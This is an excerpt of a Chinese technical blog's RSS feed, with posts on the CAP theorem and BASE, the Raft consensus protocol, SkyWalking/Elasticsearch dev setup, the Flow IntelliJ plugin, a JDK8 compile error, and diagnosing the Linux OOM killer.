&lt;p&gt;一旦你把数据和代码逻辑，开始部署在不同的节点上，这时候就存在分区。如Node A 不能和Node B通信来，这种分区问题经常出现。&lt;/p&gt;
&lt;p&gt;用图来证明：&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;基础问题&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-10-43-03.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;在一个网络环境下，有两个节点，N1和N2，共享相同的数据V，在买书这个例子中，这个数据里面存储的就是有多少本书，假设初始值是V0，在N1上运行一个买卖算法，A，假设这个算法没有bug，非常正确，可心来，N2也是类似的，叫做B，A写了一个新值到V中，然后B从V中读取。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;正常流程&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-10-45-02.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;正常流程是这样，A写完之后，N1和N2通过一个消息（非具体的消息），将这个值同步给N2。然后B也就能读到了。&lt;/p&gt;
&lt;p&gt;1.A写了一个值V1
2.从N1发了个消息M到N2。
3.B也能从V中读到V1了&lt;/p&gt;
&lt;p&gt;但是，现实没有这么美好&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;分区&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-10-47-10.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;网络发生了分区，从N1到N2的消息没有投递成功。这样，到第三步的时候，N2读到了V0这个错误的值。&lt;/p&gt;
&lt;p&gt;如果M是一个异步消息，那么N1都没办法知道N2是不是收到了。即使有办法保证M这个消息一定发出去了。那么N1也没办法知道，这个消息是不是被投递了，也不知道N2处理的时候，有没有问题。那么，如果我们把M改成同步消息呢。也不行，因为这意味着将A写值到N1，和从N1到N2更新事件是一个原子操作。&lt;/p&gt;
&lt;p&gt;CAP告诉我们，如果我们想要A和B高度可用（低延迟），我们就要N1和N2保持分区容错，比如出现消息丢失，消息未投递，硬件故障，或者处理失败。这种情况下，就会出现有时候一些节点任务V是V0，另一些节点认为是V1.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;事务&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2020-01-06-11-05-49.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;如果有一个事务，叫做a1，a1可能是一个写操作，a2是一个读操作，在本地系统中，通过数据库或者自己加锁，加隔离是很简单的。可以强制a1写完之后，a2才发生，但是在分布式环境中，一旦加了这些东西，就影响额分区容错和可用性。&lt;/p&gt;
&lt;h1 id=&#34;处理cap&#34;&gt;处理CAP&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;CA 不要 P，不要分区容错&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不保证分区容错，那么你可以部署在一个台机器上，但是容量受限。并且还是会存在网络问题。分布式环境下，网络分区是必然的。除非你就不想做分布式。&lt;/p&gt;
&lt;p&gt;在分布式的环境下，网络无法做到100%可靠，有可能出现故障，因此分区是一个必须的选项，如果选择了CA而放弃了P，若发生分区现象，为了保证C，系统需要禁止写入，此时就与A发生冲突，如果是为了保证A，则会出现正常的分区可以写入数据，有故障的分区不能写入数据，则与C就冲突了。因此分布式系统理论上不可能选择CA架构，而必须选择CP或AP架构。&lt;/p&gt;
&lt;p&gt;从Google的经验中可以得到的结论是，无法通过降低CA来提升P。要想提升系统的分区容错性，需要通过提升基础设施的稳定性来保障。&lt;/p&gt;
&lt;p&gt;所以，对于一个分布式系统来说。P是一个基本要求，CAP三者中，只能在CA两者之间做权衡，并且要想尽办法提升P。&lt;/p&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;CP 不要 A 不要可用性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;当你想要分区容错的时候，并且可以容忍长时间的停机或者无影响。就可以舍弃可用性。&lt;/p&gt;
&lt;p&gt;一个保证了CP而一个舍弃了A的分布式系统，一旦发生网络故障或者消息丢失等情况，就要牺牲用户的体验，等待所有数据全部一致了之后再让用户访问系统。&lt;/p&gt;
&lt;p&gt;设计成CP的系统其实也不少，其中最典型的就是很多分布式数据库，他们都是设计成CP的。在发生极端情况时，优先保证数据的强一致性，代价就是舍弃系统的可用性。如Redis、HBase等，&lt;/p&gt;
&lt;p&gt;常用的Zookeeper也是在CAP三者之中选择优先保证CP的。ZooKeeper是个CP 的，即任何时刻对ZooKeeper的访问请求能得到一致的数据结果，同时系统对网络分区具备容错性。但是它不能保证每次服务请求的可用性，也就是在极端环境下，ZooKeeper可能会丢弃一些请求，消费者程序需要重新请求才能获得结果。&lt;/p&gt;
&lt;p&gt;ZooKeeper 是分布式协调服务，它的职责是保证数据在其管辖下的所有服务之间保持同步、一致。所以就不难理解为什么 ZooKeeper 被设计成CP而不是AP特性的了。从实际情况来分析，在使用 Zookeeper 获取服务列表时，如果 ZooKeeper 正在选举或者 ZooKeeper 集群中半数以上的机器不可用，那么将无法获取数据。所以说，ZooKeeper 不能保证服务可用性。&lt;/p&gt;
&lt;p&gt;Eureka 则是一个AP系统，一部分节点挂掉不会影响到正常节点的工作，不会出现类似 ZK 的选举 Leader 的过程，客户端发现向某个节点注册或连接失败，会自动切换到其他的节点。
只要有一台 Eureka 存在，就可以保证整个服务处在可用状态，只不过有可能这个服务上的信息并不是最新的信息。&lt;/p&gt;
&lt;p&gt;SofaRegistry 也是一个AP系统。&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;AP 不要 C 不要一致性&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;要高可用并允许分区，则需放弃一致性。一旦网络问题发生，节点之间可能会失去联系。为了保证高可用，需要在用户访问时可以马上得到返回，则每个节点只能用本地数据提供服务，而这样会导致全局数据的不一致性。&lt;/p&gt;
&lt;p&gt;这种舍弃强一致性而保证系统的分区容错性和可用性的场景和案例非常多。前面我们介绍可用性的时候说到过，很多系统在可用性方面会做很多事情来保证系统的全年可用性可以达到N个9，所以，对于很多业务系统来说，比如淘宝的购物，12306的买票。都是在可用性和一致性之间舍弃了一致性而选择可用性。&lt;/p&gt;
&lt;p&gt;举个例子，你在12306买票的时候肯定遇到过这种场景，你购买的时候提示你是有票的（但是可能实际已经没票了），你也正常下单了。但是过了一会系统提示你下单失败，余票不足。这其实就是先在可用性方面保证系统可以正常的服务，然后在数据的一致性方面做了些牺牲，会影响一些用户体验，但是也不至于造成用户流程的严重阻塞。&lt;/p&gt;
&lt;p&gt;但是，我们说很多网站牺牲了一致性，选择了可用性，这其实也不准确的。就比如上面的买票的例子，其实舍弃的只是强一致性。退而求其次保证了最终一致性。也就是说，虽然下单的瞬间，关于车票的库存可能存在数据不一致的情况，但是过了一段时间，还是要保证最终一致性的。也就是说，最终不会出现，2个人买到了同样的票。&lt;/p&gt;
&lt;p&gt;对于多数大型互联网应用的场景，主机众多、部署分散，而且现在的集群规模越来越大，所以节点故障、网络故障是常态，而且要保证服务可用性达到N个9，即保证P和A，舍弃C（退而求其次保证最终一致性）。虽然某些地方会影响客户体验，但没达到造成用户流程的严重程度。&lt;/p&gt;
&lt;h1 id=&#34;怎么选择呢&#34;&gt;怎么选择呢&lt;/h1&gt;
&lt;p&gt;既要又要。那怎么办？&lt;/p&gt;
&lt;p&gt;虽然三个不能保证，但我们能不能在一致性上作出一些妥协，不追求时时刻刻的强一致性，转而追求最终一致性，所以引入 BASE 理论。
在分布式事务中，BASE 最重要是为 CAP 提出了最终一致性的解决方案，BASE 强调牺牲高一致性，从而获取可用性，数据允许在一段时间内不一致，只要保证最终一致性就可以了，实现最终一致性。&lt;/p&gt;
&lt;p&gt;弱一致性：系统不能保证后续访问返回更新的值。需要在一些条件满足之后，更新的值才能返回。从更新操作开始，到系统保证任何观察者总是看到更新的值的这期间被称为不一致窗口。&lt;/p&gt;
&lt;p&gt;最终一致性：这是弱一致性的特殊形式;存储系统保证如果没有对某个对象的新更新操作，最终所有的访问将返回这个对象的最后更新的值。&lt;/p&gt;
&lt;h2 id=&#34;base-模型&#34;&gt;BASE 模型&lt;/h2&gt;
&lt;p&gt;BASE 模型是传统 ACID 模型的反面，不同于 ACID，BASE 强调牺牲高一致性，从而获得可用性，数据允许在一段时间内的不一致，只要保证最终一致就可以了。
BASE 模型反 ACID 模型，完全不同 ACID 模型，牺牲高一致性，获得可用性或可靠性：Basically Available 基本可用。
支持分区失败(e.g. sharding碎片划分数据库)Soft state 软状态，状态可以有一段时间不同步，异步。
Eventually consistent 最终一致，最终数据是一致的就可以了，而不是时时一致。&lt;/p&gt;
&lt;h1 id=&#34;参考&#34;&gt;参考&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;http://www.julianbrowne.com/article/brewers-cap-theorem&#34;&gt;http://www.julianbrowne.com/article/brewers-cap-theorem&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.cnblogs.com/13yan/p/9243669.html&#34;&gt;https://www.cnblogs.com/13yan/p/9243669.html&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>深入理解Raft协议</title>
      <link>http://blog.leaver.me/2019/12/30/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3raft%E5%8D%8F%E8%AE%AE/</link>
      <pubDate>Mon, 30 Dec 2019 14:42:42 +0800</pubDate>
      <guid>http://blog.leaver.me/2019/12/30/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3raft%E5%8D%8F%E8%AE%AE/</guid>
      <description>&lt;p&gt;本文部分以JRaft为例，来详细介绍Raft。&lt;/p&gt;
&lt;h1 id=&#34;raft-来源&#34;&gt;Raft 来源&lt;/h1&gt;
&lt;p&gt;首先，我们介绍 Raft 问题的来源，Raft 实际上是一个一致性算法的一种实现，和Paxos等价，但是在实现上，简化了一些，并且更加易用。&lt;/p&gt;
&lt;p&gt;这里面又引入了两个名字。一个是一致性，一个是Paxos，我们先说一致性，&lt;/p&gt;
&lt;p&gt;一致性是一个可容错的分布式系统重的最基本的一个问题，一致性包含了“多个服务器对同一个值达成共识，一旦对某个值达成共识，这个决定就是不可变了”，通常，一致性算法，当多数服务器可用的时候，才有效，比如5个server，那么2个挂了，是没问题的，但是再挂一个，超过一半，就不能提供服务了。这句话也说明，他不会返回错误的值，因为都不提供服务了。&lt;/p&gt;
&lt;p&gt;一致性通常和 Replicated State Machines（后面简称RSM）相关，最早提出是在图灵奖得主Leslie Lamport的著名论文&amp;quot;Time, clocks, and the ordering of events in a distributed system(1978)&amp;ldquo;论文中，比较系统性的阐述是在Fred Schneider的论文&amp;rdquo;  Implementing fault-tolerant services using the state machine approach(1990)&amp;ldquo;中。&lt;/p&gt;
&lt;p&gt;它的基本思想是一个分布式的RSM系统由很多个replica组成，每个replica是一个状态机，它的状态保存在一组状态变量中。状态机的状态通过并且只能通过外部命令（commands)来改变。比如你可以把MySQL服务器想像成一个状态机。它每接收到一条带修改功能的SQL语句（比如update/insert)就会改变它的状态。一组配置好replication的MySQL servers就是典型的RSM。&lt;/p&gt;
&lt;p&gt;RSM能够工作基于这样的假设：&lt;/p&gt;
&lt;p&gt;如果一些状态机具有相同的初始状态，并且他们接收到的命令也相同，处理这些命令的顺序也相同，那么它们处理完这些命令后的状态也应该相同。
因为replica都具有相同的状态，所以坏掉任何一个也没有关系。有了RSM之后理论上可以做到永远不会因为机器的物理故障而丢失数据。&lt;/p&gt;
&lt;p&gt;也就是说，根据论文的指导，比较普遍的构建容错系统的方法是，每个服务器都维持一个状态机和一个Log，状态机就是我们想要实现容错的一个组件实现，比如想实现一个分布式环境下可容错的 Hash Table，
客户端会和这个状态机交互，每个状态机从log中获取input命令，在这个Hash Table 的例子中，这个log 可能是类似 把X 设置成3这样的命令，一致性算法必须确保，如果任何一个状态机在第N个命令中认可了n被设置为了3，那么其他机器上的状态机器就绝对不应该设置为其他值，这就能保证其他所有的机器总是处理相同的命令序列，最终大家都是同样的状态。&lt;/p&gt;
&lt;p&gt;至于Paxos，这里可以先简单理解就是个一致性算法的实现方式，和 Raft 类似。&lt;/p&gt;
&lt;p&gt;总结就一致性是为了解决分布式环境下的容错问题，而Raft 和 Paxos 是其中的一种实现。&lt;/p&gt;
&lt;h1 id=&#34;核心怎么实现呢&#34;&gt;核心怎么实现呢&lt;/h1&gt;
&lt;p&gt;要实现Raft，根据作者的表述，通过对状态空间的简化，以及问题的分解，实现方只需要实现的就是各个子问题&lt;/p&gt;
&lt;p&gt;状态空间:
状态太多就会增加理解的困难程度。Raft 算法尽可能地确定各个环节的状态。典型地，Raft 算法采用 strong leader 的模型，每个日志的读写均由 Leader 从中主动协调，这样一来，整体系统的数据流将非常简单：从 Leader 流行 Follower。而且每个节点的状态也只有 3 种：Leader，Candidate 和 Follower。&lt;/p&gt;
&lt;p&gt;子问题:
Leader election：描述如何从集群的几个节点中选举出 Leader；
Log Replication：描述如何将日志同步到各个节点从而达成一致；
Safety：定义了一组约束条件来保证 Raft 算法的强一致性；
Membership changes：描述如何变更集群关系（增加或者减少节点）；&lt;/p&gt;
&lt;h2 id=&#34;leader-election&#34;&gt;Leader election&lt;/h2&gt;
&lt;p&gt;Raft的节点被称为peer，节点的状态是Raft算法的关键属性，在任何时候，Raft节点可能处于以下三种状态：&lt;/p&gt;
&lt;p&gt;Leader：Leader负责处理客户端的请求，同时还需要协调日志的复制。在任意时刻，最多允许存在1个Leader，其他节点都是Follower。注意，集群在选举期间可能短暂处于存在0个Leader的场景。&lt;/p&gt;
&lt;p&gt;Follower：Follower是被动的，它们不主动提出请求，只是响应Leader和Candidate的请求。注意，节点之间的通信是通过RPC进行的。&lt;/p&gt;
&lt;p&gt;Candidate：Candidate是节点从Follower转变为Leader的过渡状态。因为Follower是一个完全被动的状态，所以当需要重新选举时，Follower需要将自己提升为Candidate，然后发起选举。&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;leader选举&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2019-12-30-16-55-34.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;但是这种机制也带来一个麻烦，如果一个节点 因为自己的原因没有看到 Leader 发出的通知，他就会自以为是的试图竞选成为新的Leader，虽然不断发起选举且一直未能当选（因为Leader和其他船都正常通信），但是它却通过自己的投票请求实际抬升了全局的 Term&lt;/p&gt;
&lt;p&gt;为了阻止这种“捣乱”，可以设计一个预投票 (pre-vote) 环节。候选者在发起投票之前，先发起预投票，如果没有得到半数以上节点的反馈，则候选者就会放弃参选，也就不会提升全局的 Term。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Candidate 被 ET(Election Timeout) 触发&lt;/li&gt;
&lt;li&gt;Candidate 开始尝试发起 pre-vote 预投票&lt;/li&gt;
&lt;li&gt;Follower 判断是否认可该 pre-vote request&lt;/li&gt;
&lt;li&gt;Candidate 根据 pre-vote response 来决定是否发起 RequestVoteRequest&lt;/li&gt;
&lt;li&gt;Follower 判断是否认可该 RequestVoteRequest&lt;/li&gt;
&lt;li&gt;Candidate 根据 Response 来判断自己是否当选&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt=&#34;选举&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/2019-12-31-16-39-02.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;线性一致性&#34;&gt;线性一致性&lt;/h2&gt;
&lt;p&gt;线性一致读是在分布式系统中实现 Java volatile 语义，当客户端向集群发起写操作的请求并且获得成功响应之后，该写操作的结果要对所有后来的读请求可见。其实就是CAP里面的C，&lt;/p&gt;
&lt;h3 id=&#34;raft-log-read&#34;&gt;Raft log read&lt;/h3&gt;
&lt;p&gt;实际上如果基于Raft本身的设计，因为每次 Read 都需要走 Raft 流程，Raft Log 存储、复制带来刷盘开销、存储开销、网络开销，走 Raft Log不仅仅有日志落盘的开销，还有日志复制的网络开销，另外还有一堆的 Raft “读日志” 造成的磁盘占用开销，导致 Read 操作性能是非常低效的，所以在读操作很多的场景下对性能影响很大，在读比重很大的系统中是无法被接受的，通常都不会使用。&lt;/p&gt;</description>
    </item>
    <item>
      <title>skywalking插件开发的注意事项</title>
      <link>http://blog.leaver.me/2018/05/13/skywalking%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9/</link>
      <pubDate>Sun, 13 May 2018 12:34:32 +0000</pubDate>
      <guid>http://blog.leaver.me/2018/05/13/skywalking%E6%8F%92%E4%BB%B6%E5%BC%80%E5%8F%91%E7%9A%84%E6%B3%A8%E6%84%8F%E4%BA%8B%E9%A1%B9/</guid>
      <description>&lt;p&gt;最近蚂蚁金服中间件开源了 sofa 相关的部分组件,比如 &lt;a href=&#34;https://github.com/alipay/sofa-rpc&#34;&gt;rpc&lt;/a&gt;,欢迎大家参与讨论贡献,为 rpc 做链路适配的时候,skywalking 现在快到5.0版本了. 已经不支持 h2暂时,开发过程中了,环境的搭建.以下部分字段不能少.否则外面无法连接 es.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;docker run -d -p 9200:9200 -p 9300:9300 -e &amp;#34;network.host=0.0.0.0&amp;#34; -e &amp;#34;transport.host=0.0.0.0&amp;#34;  -e &amp;#34;network.publish_host=0.0.0.0&amp;#34;  -e &amp;#34;xpack.security.enabled=false&amp;#34; -e &amp;#34;network.bind_host=0.0.0.0&amp;#34; -e &amp;#34;discovery.type=single-node&amp;#34; docker.elastic.co/elasticsearch/elasticsearch:5.5.0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这条命令会搞定.&lt;/p&gt;
&lt;p&gt;同时 application.yml 文件中&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;storage:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  elasticsearch:
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cluster_name: docker-cluster
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cluster_transport_sniffer: false
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    cluster_nodes: localhost:9300
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    index_shards_number: 2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    index_replicas_number: 0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    ttl: 70
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这一段改一下.&lt;/p&gt;
&lt;p&gt;其他的一些网上已有的文档,可以看看.&lt;a href=&#34;http://www.iocoder.cn/SkyWalking/build-debugging-environment/&#34;&gt;SkyWalking 源码分析 —— 调试环境搭建&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>分析代码调用关系的利器-Flow</title>
      <link>http://blog.leaver.me/2017/04/08/%E5%88%86%E6%9E%90%E4%BB%A3%E7%A0%81%E8%B0%83%E7%94%A8%E5%85%B3%E7%B3%BB%E7%9A%84%E5%88%A9%E5%99%A8-flow/</link>
      <pubDate>Sat, 08 Apr 2017 15:10:36 +0000</pubDate>
      <guid>http://blog.leaver.me/2017/04/08/%E5%88%86%E6%9E%90%E4%BB%A3%E7%A0%81%E8%B0%83%E7%94%A8%E5%85%B3%E7%B3%BB%E7%9A%84%E5%88%A9%E5%99%A8-flow/</guid>
      <description>&lt;p&gt;今天推荐一个不错的软件.是idea 的插件.名字是Flow, 官方称:A better way to understand your Java applications,原理就是通过 java-agent 修改字节码,配置了拦截器,然后真实地跑一个测试用例,或者启动一下项目,就会生成一个真实的调用关系.官方地址:http://findtheflow.io/&lt;/p&gt;
&lt;p&gt;之前阅读源代码,对于抽象类,或者接口,静态阅读代码不太容易确定具体的调用类,因此阅读有一定的阻碍,当然 debug 也行..但是这个可以通过跑用例,或者简单的测试用例,理清调用关系,非常不错.
可以对代码结构有一个整体关系&lt;/p&gt;
&lt;h2 id=&#34;安装&#34;&gt;安装&lt;/h2&gt;
&lt;p&gt;安装比较简单:https://plugins.jetbrains.com/plugin/8362?pr=idea 直接安装idea 这个插件,然后重新启动 idea, 安装完成后的效果.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;安装结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_install.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;使用&#34;&gt;使用&lt;/h2&gt;
&lt;p&gt;使用更简单,直接点击上图中的按钮,开始跑一下,即可,如果启动成功.控制台会有显示.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;开始启动&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_start.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;然后,会在本地开启7575的端口,来显示结果.&lt;/p&gt;
&lt;h2 id=&#34;效果&#34;&gt;效果&lt;/h2&gt;
&lt;p&gt;&lt;img alt=&#34;结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_common.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;结果明细&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_detail.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;注意,在结果页里,可以和 idea 源码交互,对着方法点右键,可以直接定位到 idea 代码中的源代码,非常方便.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;跳转&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_jump.png&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;其他&#34;&gt;其他&lt;/h2&gt;
&lt;p&gt;其他,就是 可以在配置里设置根据哪些类,这样一些工具类啥的可以直接忽略了.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&#34;运行配置&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/flow_conf.png&#34;&gt;&lt;/p&gt;
&lt;p&gt;使用了一下,还是不错的.但是这个有个问题,如果你的项目自定义了 classloader/ 或者使用了自定义的容易,这个由于没有 mvn 的 jar 包,可能会报错,类找不到.暂时没有好的办法.但是阅读开源代码基本没有问题了.&lt;/p&gt;</description>
    </item>
    <item>
      <title>jdk8_cannot_access_class_file</title>
      <link>http://blog.leaver.me/2017/03/31/jdk8_cannot_access_class_file/</link>
      <pubDate>Fri, 31 Mar 2017 13:48:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2017/03/31/jdk8_cannot_access_class_file/</guid>
      <description>&lt;p&gt;之前有个项目用 jdk6跑运行正常,用 jdk8跑的时候,会报&lt;code&gt;java cannot access ....class file ...as class file not found though it exists.&lt;/code&gt;
虽然可以通过加上报错的类到依赖里解决.但是一直没想明白,为啥 jdk6下没报错.&lt;/p&gt;
&lt;p&gt;最近再次遇到,于是想一次性搞清楚.搜了一下,看 so 上有这么个说法.大意就是以前,如果 A 依赖 B,B 实现了 C 接口,编译的时候, 用 jdk8编译的时候, C 必须在 classpath 中,
&lt;a href=&#34;http://stackoverflow.com/questions/40255718/compiling-with-jdk-1-8-java-cannot-access-class-file-class-file-not-found&#34;&gt;http://stackoverflow.com/questions/40255718/compiling-with-jdk-1-8-java-cannot-access-class-file-class-file-not-found&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;给出了一个 bug 连接,但是这里跟我们的问题有差异,不过这个点提醒了我.于是我搜索了一下 jdk8的relase note&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.oracle.com/technetwork/java/javase/8-compatibility-guide-2156366.html&#34;&gt;http://www.oracle.com/technetwork/java/javase/8-compatibility-guide-2156366.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注意观看这一段:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Area: Tools / javac
Synopsis
Interfaces need to be present when compiling against their implementations&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;好了.也就是说还是乖乖加依赖.但是清楚了原因了&lt;/p&gt;</description>
    </item>
    <item>
      <title>oom介绍</title>
      <link>http://blog.leaver.me/2017/02/03/oom%E4%BB%8B%E7%BB%8D/</link>
      <pubDate>Fri, 03 Feb 2017 15:04:04 +0000</pubDate>
      <guid>http://blog.leaver.me/2017/02/03/oom%E4%BB%8B%E7%BB%8D/</guid>
      <description>&lt;p&gt;oom 之前知道, 但是并不是很了解,最近遇到了由 oom 引发的问题,所以学习记录一下.&lt;/p&gt;
&lt;p&gt;OOM-killer：Out-of-Memory (OOM) Killer是一种保护机制，用于当内存严重不足时，为了系统的继续运转，内核迫不得已挑选一个进程，将其杀死，以释放内存，缓解内存不足的问题。
可以看出这种方式对进程的保护是有限的，不能完全的保护进程的运行。&lt;/p&gt;
&lt;h2 id=&#34;如何知道是否发生了-oom&#34;&gt;如何知道是否发生了 oom&lt;/h2&gt;
&lt;p&gt;两种方法,第一种,查看 /var/log/messages,会有类似&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Out of memory: Kill process 9682 (mysqld) score 9 or sacrifice child
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Killed process 9682, UID 27, (mysqld) total-vm:47388kB, anon-rss:3744kB, file-rss:80kB
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;httpd invoked oom-killer: gfp_mask=0x201da, order=0, oom_adj=0, oom_score_adj=0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;httpd cpuset=/ mems_allowed=0
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;Pid: 8911, comm: httpd Not tainted 2.6.32-279.1.1.el6.i686 #1
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这样的标识,说明发生了 oom,关键就是 kill process, 所以可以这样&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo cat /var/log/messages | grep -i&amp;quot;killed process&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;另一种是通过dmesg来查看
&lt;code&gt;dmesg | egrep -i &#39;killed process&#39;&lt;/code&gt;
这个命令查看的 oom 的时间里是时间戳的形式,如果你的 dmesg 没有-T这个时间的选项,那么就需要通过&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;date -d &amp;#34;1970-01-01 UTC `echo &amp;#34;$(date +%s)-$(cat /proc/uptime|cut -f 1 -d&amp;#39; &amp;#39;)+12288812.926194&amp;#34;|bc ` seconds&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;来转换成可读的时间了.&lt;/p&gt;
&lt;h2 id=&#34;oom-的原理&#34;&gt;oom 的原理&lt;/h2&gt;
&lt;p&gt;其中涉及到有三个相关文件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;/proc/$PID/oom_adj&lt;/li&gt;
&lt;li&gt;/proc/$PID/oom_score&lt;/li&gt;
&lt;li&gt;/proc/$PID/oom_score_adj
其中 oom_score 表示最终的分数，该分数越大，越可能被 Killer 杀掉。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而 oom_adj 是调整分数的，可以设置为负值，会对 oom_score减分。&lt;/p&gt;
&lt;p&gt;从Linux 2.6.36开始都安装了/proc/$PID/oom_score_adj，此后将替换掉/proc/$PID/oom_adj。即使当前是对/proc/$PID/oom_adj进行的设置，在内核内部进行变换后的值也是针对/proc/$PID/oom_score_adj设置的。可以参见&lt;a href=&#34;https://github.com/tinganho/linux-kernel/blob/master/Documentation/feature-removal-schedule.txt&#34;&gt;feature-removal-schedule&lt;/a&gt;这里 171行.&lt;/p&gt;
&lt;p&gt;通过 cat /proc/$PID/oom_score 可以查看进程的得分&lt;/p&gt;
&lt;p&gt;打分算法在这里
&lt;a href=&#34;https://github.com/torvalds/linux/blob/master/mm/oom_kill.c&#34;&gt;https://github.com/torvalds/linux/blob/master/mm/oom_kill.c&lt;/a&gt;&lt;/p&gt;
